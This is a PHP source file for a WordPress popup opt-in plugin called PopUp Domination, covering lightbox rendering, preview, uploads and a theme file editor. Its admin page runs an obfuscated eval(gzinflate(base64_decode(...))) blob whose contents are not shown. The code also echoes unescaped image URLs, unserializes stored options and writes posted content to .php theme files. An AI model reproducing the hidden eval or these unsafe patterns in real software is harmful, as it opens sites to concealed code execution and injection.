<?php
/*
Plugin Name: PopUp Domination
Author: Deer Digital
Version: 2.0
Author URI: http://www.deerdigital.com
*/
class PopUp_Domination {
	
	var $base_name = '';
	var $theme_path = '';
	var $theme_url = '';
	var $plugin_url = '';
	var $plugin_path = '';
	var $opts_url = '';
	var $themes = array();
	var $natypes = array('.original.php','.original.htm','.original.html','.original.css','.original.txt');
	var $atypes = array('.php','.htm','.html','.css','.txt');
	var $is_preview = false;
	
	function PopUp_Domination(){
		$this->base_name = plugin_basename(__FILE__);
		$this->plugin_url = WP_PLUGIN_URL.'/'.dirname($this->base_name).'/';
		$this->plugin_path = WP_PLUGIN_DIR.'/'.dirname($this->base_name).'/';
		$this->theme_url = $this->plugin_url.'themes/';
		$this->theme_path = $this->plugin_path.'themes/';
		
		if(function_exists("admin_url"))
			$url = admin_url("options-general.php?page=" .  $this->base_name);
		else
			$url = $_SERVER['PHP_SELF'] . "?page=" .  $this->base_name;
		$this->opts_url = $url;
		if(is_admin()){
			wp_admin_css( 'theme-editor' );
			wp_register_style('popup-domination', $this->plugin_url.'admin_styles.css');
			add_action('admin_menu', array(&$this, 'admin_menu'));
			add_filter('plugin_action_links', array(&$this, 'plugin_action_links'), 10, 2);			
		}
		if($ins = $this->option('installed')){
			add_action('wp_print_scripts', array(&$this, 'wp_print_scripts'));
			if(is_admin()){
				add_action('wp_ajax_popup_domination_file_upload', array(&$this, 'upload_file'));
				add_action('wp_ajax_popup_domination_activation', array(&$this, 'activate'));
				add_action('wp_ajax_popup_domination_clear_cookie', array(&$this, 'clear_cookie'));
				add_action('wp_ajax_popup_domination_preview', array(&$this, 'preview'));
			} else {
				add_action('wp_print_styles', array(&$this, 'wp_print_styles'));
			}
		}
	}
	
	function clear_cookie(){
		if(wp_verify_nonce($_GET['_wpnonce'], 'update-options')){
			setcookie('popup_domination_hide_lightbox','',time()-60*60*24*100,COOKIEPATH);
			echo '{"done":"done"}';
		} else {
			echo '{"error":"Verification failed, please refresh the page and try again."}';
		}
		exit;
	}
	
	function preview(){
		if(!wp_verify_nonce($_POST['_wpnonce'], 'update-options')){
			exit('<p>You do not have permission to view this</p>');
		}
		$this->is_preview = true;
		$prev = $_POST['popup_domination'];
		$prevnew = array();
		foreach($prev as $a => $b){
			$prevnew[$a] = stripslashes($b);
		}
		$prev = $prevnew;
		$t = $prev['template'];
		$target = (isset($prev['new_window']) && $prev['new_window'] == 'Y') ? ' target="_blank"':'';
		if(!$themeopts = $this->get_theme_info($t)){
			exit('<p>The theme you have chosen could not be found.</p>');
		}
		if(isset($themeopts['colors']) && !($color = $this->option('color'))){
			exit('<p>You must first select a color for your theme.</p>');
		}
		if(isset($prev['color']))
			$color = $prev['color'];
		$clickbank = '';
		if(isset($prev['promote'])){
			$promote = $prev['promote'];
			if($promote == 'Y'){
				$clickbank = (isset($prev['clickbank']))?$prev['clickbank']:'';
			}
		} else {
			$promote = 'N';
		}
		$inputs = array('name'=>$prev['name_box'],
						'email'=>$prev['email_box']);
		$tmp_fields = $_POST['popup_domination_fields'];
		$fields = array();
		foreach($tmp_fields as $a => $b)
			$fields[$a] = $this->encode(stripslashes($b));
		$inputs['hidden'] = '';
		if(isset($_POST['field_name']) && isset($_POST['field_vals']) && count($_POST['field_name']) == count($_POST['field_vals'])){
			$fl = count($_POST['field_name']);
			for($i=0;$i<$fl;$i++){
				$_POST['field_name'][$i] = stripslashes($_POST['field_name'][$i]);
				$_POST['field_vals'][$i] = stripslashes($_POST['field_vals'][$i]);
				if(!empty($_POST['field_name'][$i]) && $inputs['name'] != $_POST['field_name'][$i] && $inputs['email'] != $_POST['field_name'][$i]){
					$inputs['hidden'] .= '<input type="hidden" name="'.$this->input_val($_POST['field_name'][$i]).'" value="'.$this->input_val($_POST['field_vals'][$i]).'" />';
				}
			}
		}
		if(isset($_POST['field_img']) && count($_POST['field_img'])){
			$fl = count($_POST['field_img']);
			for($i=0;$i<$fl;$i++){
				if(!empty($_POST['field_img'][$i])){
					$inputs['hidden'] .= '<div style="display:none"><img src="'.stripslashes($_POST['field_img'][$i]).'" alt="" width="1" height="1" /></div>';
				}
			}
		}
		$form_action = $this->encode($prev['action']);
		$list_items = array();
		if(isset($_POST['list_item'])){
			$tmp_items = $_POST['list_item'];
			foreach($tmp_items as $tmp)
				$list_items[] = $this->encode(stripslashes($tmp));
		}
		$disable_name = 'N';
		if(isset($prev['disable_name']) && $prev['disable_name'] == 'Y'){
			$disable_name = 'Y';
		}
		$delay = $prev['delay'];
		$center = $themeopts['center'];
		$show_opt = $prev['show_opt'];
		$unload_msg = $prev['unload_msg'];
		$delay_hide = '';
		$button_color = isset($prev['button_color']) ? $prev['button_color'] : '';
		$base = dirname($this->base_name);
		$theme_url = $this->theme_url.$t.'/';
		$lightbox_id = 'popup_domination_lightbox_wrapper';
		$lightbox_close_id = 'popup_domination_lightbox_close';
		$cookie_time = $icount = 0;
		
		
		$arr = array();
		if($disable_name == 'N'){
			$arr[] = array('class'=>'name','default'=>((isset($fields['name_default'])) ? $fields['name_default'] : ''), 'name'=>((isset($inputs['name']))?$inputs['name']:''));
		}
		$arr[] = array('class'=>'email','default'=>((isset($fields['email_default'])) ? $fields['email_default'] : ''), 'name'=>((isset($inputs['email']))?$inputs['email']:''));
		
		$fstr = ''; $js = array();
		foreach($arr as $a){
			if(!empty($a['name']) && !empty($a['default'])){
				$js[$a['name']] = $a['default'];
			}
			$fstr .= '<input type="text" class="'.$a['class'].'" value="'.$a['default'].'" name="'.$a['name'].'" />';
		}
		$arr = array('defaults'=>$js,'delay'=>floatval($delay),'cookie_time'=>floatval($cookie_time),'center'=>$center,'cookie_path'=>COOKIEPATH,'show_opt'=>$show_opt,'unload_msg'=>$unload_msg,'impression_count'=>intval($icount),'output'=>$output);
		$promote_link = (($promote=='Y') ? '<p class="powered"><a href="'.((!empty($clickbank))?'http://'.$clickbank.'.popdom.hop.clickbank.net/':'http://www.popupdomination.com/').'" target="_blank">Powered By PopUp Domination</a></p>':'');
		ob_start();
		include $this->theme_path.$t.'/template.php';
		$output = ob_get_contents();
		$output = str_replace('{CURRENT_URL}',$this->input_val($this->get_cur_url()),$output);
		ob_end_clean();
		echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head profile="http://gmpg.org/xfn/11">
<style type="text/css">
* { margin: 0; padding: 0; outline: 0 }
</style>
<script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript" src="'.$this->plugin_url.'lightbox-preview.js"></script>
<link rel="stylesheet" type="text/css" href="'.$this->theme_url.$t.'/lightbox.css" />
<script type="text/javascript">
var popup_domination = '.json_encode($arr).';
</script>
</head><body><p style="text-align:center"><a href="#open">Re-open lightbox</a></p>'.$output.'</body></html>';
		exit;
	}
	
	function load_lightbox(){
		if(!$enabled = $this->option('enabled'))
			return false;
		if($enabled != 'Y')
			return false;
		if(!$t = $this->option('template'))
			return false;
		if(!$themeopts = $this->get_theme_info($t))
			return false;
		if(isset($themeopts['colors']) && !($color = $this->option('color')))
			return false;
		$clickbank = '';
		if($promote = $this->option('promote')){
			if($promote == 'Y'){
				$clickbank = $this->option('clickbank');
			}
		} else {
			$promote = 'N';
		}
		
		$target = $this->option('new_window') == 'Y' ? ' target="_blank"':'';
		
		$disable_name = 'N';
		if($disable = $this->option('disable_name')){
			if($disable == 'Y'){
				$disable_name = 'Y';
			}
		}
		$inputs = array('email'=>$this->option('email_box'));
		if($disable_name == 'N'){
			$inputs['name'] = $this->option('name_box');
		}
		$fields = '';
		if($f = $this->option('fields',false)){
			if(!empty($f)){
				$fieldsarr = unserialize($f);
				foreach($fieldsarr as $a => $b){
					if(!in_array($a,$inputs))
						$fields .= '<input type="hidden" name="'.$this->input_val($a).'" value="'.$this->input_val($b).'" />';
				}
			}
		}
		if($f = $this->option('images',false)){
			if(!empty($f)){
				$fieldsarr = unserialize($f);
				foreach($fieldsarr as $b){
					$fields .= '<div style="display:none"><img src="'.$this->input_val($b).'" alt="" height="1" width="1" /></div>';
				}
			}
		}
		$inputs['hidden'] = $fields;
		$form_action = $this->option('action');
		$list_items = array();
		if($l = $this->option('listitems',false)){
			if(!empty($l)){
				$l = unserialize($l);
				foreach($l as $litem){
					$list_items[] = $this->encode($litem);
				}
			}
		}
		$fields = array();
		if(isset($themeopts['fields']) && count($themeopts['fields']) > 0){
			foreach($themeopts['fields'] as $a => $b){
				$val = $this->option('field_'.$b['field_opts']['id']);
				$fields[$b['field_opts']['id']] = $this->encode($val);
			}
		}
		$center = $themeopts['center'];
		$delay = $this->option('delay');
		$delay_hide = ' style="display:none"';
		$button_color = $this->option('button_color');
		$cookie_time = $this->option('cookie_time');
		$base = dirname($this->base_name);
		$theme_url = $this->theme_url.$t.'/';
		$lightbox_id = 'popup_domination_lightbox_wrapper';
		$lightbox_close_id = 'popup_domination_lightbox_close';
		$icount = $this->option('impression_count');
		$show_opt = $this->option('show_opt');
		$unload_msg = $this->option('unload_msg');

		$arr = array();
		if($disable_name == 'N'){
			$arr[] = array('class'=>'name','default'=>((isset($fields['name_default'])) ? $fields['name_default'] : ''), 'name'=>((isset($inputs['name']))?$inputs['name']:''));
		}
		$arr[] = array('class'=>'email','default'=>((isset($fields['email_default'])) ? $fields['email_default'] : ''), 'name'=>((isset($inputs['email']))?$inputs['email']:''));
		
		$fstr = ''; $js = array();
		foreach($arr as $a){
			if(!empty($a['name']) && !empty($a['default'])){
				$js[$a['name']] = $a['default'];
			}
			$fstr .= '<input type="text" class="'.$a['class'].'" value="'.$a['default'].'" name="'.$a['name'].'" />';
		}
		$promote_link = (($promote=='Y') ? '<p class="powered"><a href="'.((!empty($clickbank))?'http://'.$clickbank.'.popdom.hop.clickbank.net/':'http://www.popupdomination.com/').'" target="_blank">Powered By PopUp Domination</a></p>':'');
		
		ob_start();
		include $this->theme_path.$t.'/template.php';
		$output = ob_get_contents();
		$output = str_replace('{CURRENT_URL}',$this->input_val($this->get_cur_url()),$output);
		ob_end_clean();
		$arr = array('defaults'=>$js,'delay'=>floatval($delay),'cookie_time'=>floatval($cookie_time),'center'=>$center,'cookie_path'=>COOKIEPATH,'show_opt'=>$show_opt,'unload_msg'=>$unload_msg,'impression_count'=>intval($icount),'output'=>$output);
?>
<script type="text/javascript">
var popup_domination = <?php echo json_encode($arr); ?>;
</script><?php
	}
	
	function wp_print_scripts(){
		global $plugin_page;
		if(is_admin()){
			if(isset($plugin_page) && $plugin_page == $this->base_name){
				wp_enqueue_script('ajax-upload',$this->plugin_url.'ajaxupload.js',array('jquery'),'1.0');
				wp_enqueue_script('popup_domination',$this->plugin_url.'admin_lightbox.js',array('jquery','ajax-upload'),'1.0');
			}
		} else {
			if(!$this->is_enabled())
				return false;
			if(!$this->should_show())
				return false;
			wp_enqueue_script('popup_domination',$this->plugin_url.'lightbox.js',array('jquery'),'1.0');
			$this->load_lightbox();
		}
	}
	
	function is_enabled(){
		static $enabled;
		if(!isset($enabled)){
			if(!$e = $this->option('enabled'))
				return false;
			if($this->is_mobile()){
				return false;
			}
			$enabled = $e;
		}
		return $enabled == 'Y' ? true : false;
	}
	
	function should_show(){
		global $wp_query;
		$show = $this->show_var();
		if(isset($show['everywhere']))
			return true;
		if(isset($show['front']) && is_front_page())
			return true;
		if(isset($show['pageid']) && is_page() && in_array($wp_query->post->ID,$show['pageid']))
			return true;
		if(isset($show['caton']) && isset($show['catid']) && is_array($show['catid'])){
			$checkcat = $checkpost = false;
			switch($show['caton']){
				case 0: $checkcat = $checkpost = true; break;
				case 1: $checkcat = true; break;
				case 2: $checkpost = true; break;
			}
			if($checkcat){
				foreach($show['catid'] as $c){
					if(is_category($c)){
						return true;
					}
				}
			}
			if($checkpost && is_single() && ($cats = get_the_category())){
				foreach($cats as $c){
					if(in_array($c->cat_ID,$show['catid'])){
						return true;
					}
				}
			}
		}
		return false;
	}
	
	function show_var($backup=false){
		$var = 'show';
		if($backup)
			$var .= '_backup';
		$$var = array();
		if($s = $this->option($var,false)){
			if(!empty($s)){
				if(is_array($s))
					$$var = $s;
				else
					$$var = unserialize($s);
			}
		}
		return $$var;
	}
	
	function wp_print_styles(){
		if(!$this->is_enabled())
			return false;
		if(!$this->should_show())
			return false;
		if(!$t = $this->option('template'))
			return false;
		wp_enqueue_style('popup_domination',$this->theme_url.$t.'/lightbox.css');
	}
	
	function admin_menu(){
		$page = add_options_page('PopUp Domination', 'PopUp Domination', 9, $this->base_name, array(&$this, 'admin_page'));
		add_action('admin_print_styles-'.$page, array(&$this, 'admin_styles'));
	}
	
	function admin_styles(){
		wp_enqueue_style('popup-domination');
	}
	
	function plugin_action_links($links, $file){
		if($file == $this->base_name){
			$settings_link = '<a href="options-general.php?page='.$file.'">'.__('Settings').'</a>';
			array_unshift($links,$settings_link);
		}
		return $links;
	}
	
	function activate(){
		if(wp_verify_nonce($_GET['_wpnonce'], 'update-options')){
			$update = $_GET['todo'] == 'turn-on' ? 'Y' : 'N';
			$this->update('enabled',$update);
			echo '{"active":"'.$update.'"}';
		} else {
			echo '{"error":"Verification failed, please refresh the page and try again."}';
		}
		exit;
	}
	
	function upload_file(){
		if(wp_verify_nonce($_POST['_wpnonce'], 'update-options') && isset($_POST['template']) && $t = $this->get_theme_info($_POST['template'])){
			if(isset($_POST['fieldid'])){
				if($field = $this->get_field($t,$_POST['fieldid'])){
					$uploads = wp_upload_dir();
					$fileobj = $_FILES['userfile'];
					if(!empty($fileobj['tmp_name']) && file_is_displayable_image($fileobj['tmp_name'])){
						if($file = wp_handle_upload($fileobj,array('test_form'=>false,'action'=>'wp_handle_upload'))){
							$sizes = array();
							if(isset($field['field_opts'])){
								$opts = $field['field_opts'];
								if(isset($opts['max_w']) && isset($opts['max_h']))
									$sizes = array($opts['max_w'],$opts['max_h']);
							}
							$image_url = $file['url'];
							if(count($sizes) == 2){
								$resized = image_make_intermediate_size($file['file'],$sizes[0],$sizes[1]);
								if($resized)
									$image_url = $uploads['url'].'/'.$resized['file'];
							}
							$attachment = array('post_title' => $fileobj['name'],
												'post_content' => '',
												'post_status' => 'inherit',
												'post_mime_type' => $file['type'],
												'guid' => $image_url);
							$aid = wp_insert_attachment($attachment,$file['file'],0);
							if(!is_wp_error($aid)){
								wp_update_attachment_metadata($aid,wp_generate_attachment_metadata($aid,$file['file']));
								echo $image_url.'|'.$aid.'|';
							} else {
								echo 'error|<strong>Upload Error:</strong> ' . $aid->get_error_message();
							}
							exit;
						}
					} else {
						echo 'error|<strong>Upload Error:</strong> The file you tried to upload is not a valid image.';
						exit;
					}
				}
			}
		}
		echo 'error|<strong>Upload Error:</strong> There was an error finding the field.';
		die();
	}
	
	function sort_array($a,$b){
		if($a['name'] == $b['name'])
			return 0;
		return ($a['name'] < $b['name']) ? -1 : 1;
	}
	
	function get_field($theme,$field){
		if(empty($field))
			return false;
		if(!isset($theme['fields']))
			return false;
		foreach($theme['fields'] as $f){
			if($f['field_opts']['id'] == $field)
				return $f;
		}
		return false;
	}
	
	function option($key,$enc=true){
		return (($enc)?$this->encode(get_option('popup_domination_'.$key)):get_option('popup_domination_'.$key));
	}
	
	function update($key,$val,$enc=true){
		update_option( 'popup_domination_'.$key,(($enc)?$this->encode($val):$val));
	}
	
	function encode($str,$striptags=true){
		if($striptags){
			$str = strip_tags($str,'<b><strong><em><i><br>');
			$str = preg_replace('{<br\s*>}si','<br />',$str);
		}
		return $str;
	}
	
	function encode2($str){
		$str = preg_replace('{<style[^>]*>.*</style>}si','',$str);
		$str = preg_replace('{<script[^>]*>.*</script>}si','',$str);
		return utf8_encode(stripslashes($str));
	}
	
	function check_file_type($file,$types=array(),$natypes=array()){
		if(empty($file))
			return false;
		if(count($types) == 0 && count($natypes) == 0)
			return true;
		$lower = strtolower($file); $fl = strlen($file);
		if(count($natypes) > 0){
			foreach($natypes as $n){
				$nl = strlen($n);
				$tmp = substr($lower,($fl-$nl),$nl);
				if($tmp == $n)
					return false;
			}
		}
		if(count($types) > 0){
			foreach($types as $t){
				$tl = strlen($t);
				$tmp = substr($lower,($fl-$tl),$tl);
				if($tmp == $t)
					return true;
			}
		}
		return false;
	}
	
	function get_file_list($dir,$dirs=false,$types=array(),$natypes=array()){
		$t_dir = @opendir($dir);
		if(!$t_dir)
			return false;
		$na = array('','.','..');
		$files = array();
		while(($file = readdir($t_dir)) !== false){
			if(!in_array($file,$na)){
				if($dirs){
					if(is_dir($dir.$file))
						$files[] = $file;
				} else {
					if(!is_dir($dir.$file)){
						if($this->check_file_type($file,$types,$natypes))
							$files[] = $file;
					}
				}
			}
		}
		if($t_dir)
			@closedir($t_dir);
		return $files;
	}
	
	function get_theme_info($t){
		$files = $this->get_file_list($this->theme_path.$t);
		if(in_array('theme.txt',$files)){
			$template_data = implode( '', file( $this->theme_path.$t.'/theme.txt' ));
			$name = '';
			$opts = array();
			if(preg_match('|Template Name:(.*)$|mi', $template_data, $name)){
				$opts['name'] = _cleanup_header_comment($name[1]);
				$opts['center'] = 'N';
				if(preg_match( '|Center:(.*)$|mi', $template_data, $size))
					$opts['center'] = _cleanup_header_comment($size[1]);
				if(preg_match( '|Preview Size:(.*)$|mi', $template_data, $size))
					$opts['size'] = array_filter(explode('x',_cleanup_header_comment($size[1])));
				$opts['ext'] = 'png';
				if(preg_match( '|Preview Ext:(.*)$|mi', $template_data, $ext))
					$opts['ext'] = _cleanup_header_comment($ext[1]);
				if(preg_match( '|Colors:(.*)$|mi', $template_data, $color)){
					$opts['colors'] = $this->color_opts($t,$opts['ext'],array_filter(explode(' | ',_cleanup_header_comment($color[1]))));
				} else {
					if(file_exists($this->theme_path.$t.'/preview.'.$opts['ext']))
						$opts['img'] = $t.'/preview.'.$opts['ext'];
				}
				if(preg_match('|Button Colors:(.*)$|mi',$template_data, $colors))
					$opts['button_colors'] = $this->button_colors($t,array_filter(explode('|',_cleanup_header_comment($colors[1]))));
				if(preg_match( '|List Items:(.*)$|mi', $template_data, $list))
					$opts['list'] = intval(_cleanup_header_comment($list[1]));
				if(preg_match( '|Fields:(.*)$|mi', $template_data, $fields))
					$opts['fields'] = $this->field_opts(array_filter(explode('|',_cleanup_header_comment($fields[1]))));
				$opts['theme'] = $t;
				return $opts;
			}
		}
		return false;
	}
	
	function field_opts($fields=array()){
		if(is_array($fields) && count($fields) > 0){
			$arr = array();
			foreach($fields as $f){
				$tmp_arr = array();
				$f2 = explode('[',$f);
				$tmp_arr['name'] = $f2[0];
				$f2 = explode(']',$f2[1]);
				$f2 = array_filter(explode(',',$f2[0]));
				$tmp_arr['field_opts'] = array();
				foreach($f2 as $a => $b){
					$f3 = explode(':',$b);
					if(count($f3) > 1){
						$tmp_arr['field_opts'][$f3[0]] = $f3[1];
					}
				}
				$arr[] = $tmp_arr;
			}
			return $arr;
		}
		return false;
	}
	
	function color_opts($t,$ext,$colors=array()){
		if(is_array($colors) && count($colors) > 0){
			$arr = array();
			foreach($colors as $c){
				$tmp_arr = array();
				$c2 = explode('[',$c);
				$tmp_arr['name'] = $c2[0];
				$c2 = explode(']',$c2[1]);
				$info = array_filter(explode(':',$c2[0]));
				$file = $t.'/previews/'.$info[0].'.'.$ext;
				if(file_exists($this->theme_path.$file) && is_file($this->theme_path.$file)){
					$info[2] = $file;
				}
				$tmp_arr['info'] =  $info;
				$arr[] = $tmp_arr;
			}
			return $arr;
		}
		return false;
	}
	
	function button_colors($t,$colors=array()){
		if(is_array($colors) && count($colors) > 0){
			$arr = array();
			foreach($colors as $c){
				$tmp_arr = array();
				$c2 = explode('[',$c);
				$tmp_arr['name'] = $c2[0];
				$c2 = explode(']',$c2[1]);
				$tmp_arr['color_id'] = $c2[0];
				$arr[] = $tmp_arr;
			}
			usort($arr,array(&$this,'sort_array'));
			return $arr;
		}
		return false;
	}
	
	function get_themes(){
		if(count($this->themes) == 0){
			$themes = $this->get_file_list($this->theme_path,true);
			$this->themes = array();
			foreach($themes as $t){
				if($t = $this->get_theme_info($t))
					$this->themes[] = $t;
			}
			usort($this->themes,array(&$this,'sort_array'));
		}
		return $this->themes;
	}
	
	function show_lightbox(){
		echo $this->load_lightbox();
	}
	
	function page_list_recursive($parentid=0,$exclude='',$selected=array()){
		$pages = get_pages('parent='.$parentid.'&child_of='.$parentid.'&exclude='.$exclude);
		if(count($pages) > 0){
			$str = '
		<ul class="children">';
			foreach($pages as $p){
				$sel = false;
				if(isset($selected['pageid']) && in_array($p->ID,$selected['pageid']))
					$sel = true;
				$str .= '
			<li><input type="checkbox" name="popup_domination_show[pageid][]" value="'.$p->ID.'" id="pageid_'.$p->ID.'"'.(($sel)?' checked="checked"':'').' /> <label for="pageid_'.$p->ID.'">'.wp_specialchars($p->post_title).'</label>'.$this->page_list_recursive($p->ID,$exclude,$selected).'</li>';
			}
			$str .= '
		</ul>';
			return $str;
		}
	}
	
	function cat_list_recursive($parentid=0,$selected=array()){
		$cats = get_categories('hide_empty=0&child_of='.$parentid.'&parent='.$parentid);
		if(count($cats) > 0){
			$str = '
				<ul class="children">';
			foreach($cats as $c){
				$sel = false;
				if(isset($selected['catid']) && in_array($c->cat_ID,$selected['catid']))
					$sel = true;
				$str .= '
					<li><input type="checkbox" name="popup_domination_show[catid][]" value="'.$c->cat_ID.'" id="catid_'.$c->cat_ID.'"'.(($sel)?' checked="checked"':'').' /> <label for="catid_'.$c->cat_ID.'">'.wp_specialchars($c->cat_name).'</label>'.$this->cat_list_recursive($c->cat_ID,$selected).'</li>';
				}
			$str .= '</ul>';
			return $str;
		}
		return '';
	}
	
	function page_list(){
		$selected = $this->show_var();
		$front = get_option('page_on_front');
		$ex_pages = '';
		if(get_option('show_on_front') == 'page' && $front){
			$ex_pages = $front;
		}
		$catstr = ''; $selectedcat = isset($selected['caton']) ? $selected['caton'] : 0;
		$opts = array('Both','Category page','Post page within the categories');
		foreach($opts as $a => $b){
			$catstr .= '
					<option value="'.$a.'"'.(($a==$selectedcat)?' selected="selected"':'').'>'.$b.'</option>';
		}
		$cats = $this->cat_list_recursive(0,$selected);
		$str = '
		<ul class="page_list">
			<li class="everywhere"><input type="checkbox" name="popup_domination_show[everywhere]" id="popup_domination_show_everywhere" value="Y"'.((isset($selected['everywhere']))?' checked="checked"':'').' /> <label for="popup_domination_show_everywhere">Everywhere</label></li>
			<li class="home"><input type="checkbox" name="popup_domination_show[front]" id="popup_domination_show_front" value="Y"'.((isset($selected['front']))?' checked="checked"':'').' /> <label for="popup_domination_show_front">Front Page</label></li>
			<li>Pages:'.$this->page_list_recursive(0,$ex_pages,$selected).'</li>';
			if(!empty($cats)){
				$str .= '
			<li><label>Categories:</label>
				<label for="popup_domination_show_caton">Show on:</label>&nbsp;
				<select name="popup_domination_show[caton]" id="popup_domination_show_caton">'.$catstr.'
				</select>
				'.$cats.'
			</li>';
			}
			$str .= '
		</ul>';
		echo $str;
	}
	
	function maxlength_txt($f,$val){
		if(isset($f['field_opts']['max'])){
			$max = intval($f['field_opts']['max']);
			$len = strlen($val);
			$txt = ' Recommended '.$max;
			$class = 'green';
			$msg = 'remaining <span>'.($max-$len).'</span>';
			if(strlen($val) > $f['field_opts']['max']){
				$class = 'red';
				$msg = 'hmm, you\'re over the limit, it might look bad';
			}
			return '<span class="recommended"><span class="'.$class.'">'.$txt.'</span> <span class="note">('.$msg.')</span></span>';
		}
		return '';
	}
	
	function admin_page(){
		global $wp_version;
eval(gzinflate(base64_decode('[encoded data, 6984 characters]')));
	}
	
	function save_theme_file(){
		if(isset($_POST['theme']) && ($t = $this->get_theme_info($_POST['theme']))){
			if(isset($_POST['file']) && file_exists($this->theme_path.$t['theme'].'/'.$_POST['file']) && $this->check_file_type($_POST['file'],$this->atypes,$this->natypes)){
				$f = explode('.',$_POST['file']);
				$orig = $this->theme_path.$t['theme'].'/'.$f[0].'.original.'.$f[1];
				$filename = $this->theme_path.$t['theme'].'/'.$f[0].'.'.$f[1];
				if(!file_exists($orig)){
					if($fopen = fopen($orig,'w')){
						fwrite($fopen,file_get_contents($filename));
						fclose($fopen);
					}
				}
				if($fopen = fopen($filename,'w')){
					fwrite($fopen,$this->encode(stripslashes($_POST['newcontent']),false));
					fclose($fopen);
				}
			}
		}		
	}
	
	function get_theme_editor(){
		$editable = true;
		if(isset($_REQUEST['theme']) && ($t = $this->get_theme_info($_REQUEST['theme']))){
			$cur_theme = $_REQUEST['theme'];
		} elseif($t = $this->option('template')){
			if($t = $this->get_theme_info($t)){
				$cur_theme = $t['theme'];
			}
		}
		$file_content = $codepress_lang = '';
		$file = '&nbsp;';
		if(isset($cur_theme) && isset($_REQUEST['file']) && $this->check_file_type($_REQUEST['file'],$this->atypes,$this->natypes)){
			$file = basename($_REQUEST['file']);
			$realfile = $this->theme_path.$cur_theme.'/'.$file;
			if(file_exists($realfile)){
				if($_REQUEST['action'] == 'restore' && ($f = $this->get_original_file($cur_theme,$file))){
					if($fopen = fopen($realfile,'w')){
						fwrite($fopen,file_get_contents($f));
						fclose($fopen);
						unlink($f);
					}
				}
				$file_content = file_get_contents($realfile);
			}			
		}
		$themes = $this->get_themes();
		$themestr = '';
		if(count($themes) > 0){
			foreach($themes as $t){
				$themestr .= '<option value="'.$t['theme'].'"'.(($cur_theme==$t['theme'])?' selected="selected"':'').'>'.$t['name'].'</option>';
			}
		}
		include $this->plugin_path.'tpl/editor.php';
	}
	
	function get_original_file($t,$file){
		$path = $this->theme_path.$t.'/';
		$f = explode('.',$file);
		if(count($f) > 1){
			$ext = array_pop($f);
			$f = implode('.',$f).'.original.'.$ext;
			if(file_exists($path.$f) && is_file($path.$f))
				return $path.$f;
		}
		return false;
	}
	
	function is_mobile(){
		static $browser;
		if(!isset($browser)){
			$mobile = array('2.0 MMP','240x320','400X240','Android','AvantGo','BlackBerry','BlackBerry9530','Blazer','Cellphone','Danger','DoCoMo',
							'Elaine/3.0','EudoraWeb','Googlebot-Mobile','hiptop','IEMobile','iPhone','iPod','KYOCERA/WX310K','LGE VX','LG/U990',
							'LG-TU915 Obigo','MIDP-2.','MMEF20','MOT-V','NetFront','Newt','Nintendo Wii','Nitro','Nokia','Nokia5800','Opera Mini',
							'Palm','PlayStation Portable','portalmmm','Proxinet','ProxiNet','SHARP-TQ-GX10','SHG-i900','Small','SonyEricsson',
							'Symbian OS','SymbianOS','TS21i-10','UP.Browser','UP.Link','webOS','Windows CE','WinWAP','YahooSeeker/M1A1-R2D2');
			$browser = '';
			if(isset($_SERVER['HTTP_USER_AGENT'])){
				foreach($mobile as $m){
					if(!empty($m) && strpos($_SERVER['HTTP_USER_AGENT'], trim($m)) !== false){
						$browser = $m;
						break;
					}
				}
			}
		}
		return $browser == '' ? false : true;
	}
	
	function input_val($str){
		$str = htmlspecialchars($str);
		$str = str_replace(array("'",'"'),array('&#39;','&quot;'),$str);
		return $str;
	}
	
	function get_cur_url(){
		return 'http'.(($_SERVER['HTTPS']=='on')?'s':'').'://'.$_SERVER['SERVER_NAME'].(($_SERVER['SERVER_PORT'] != '80')?':'.$_SERVER['SERVER_PORT']:'').$_SERVER['REQUEST_URI'];
	}
}
if(!function_exists('_cleanup_header_comment')){
	function _cleanup_header_comment($str){
		return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));
	}
}
$popup_domination = new PopUp_Domination();
?>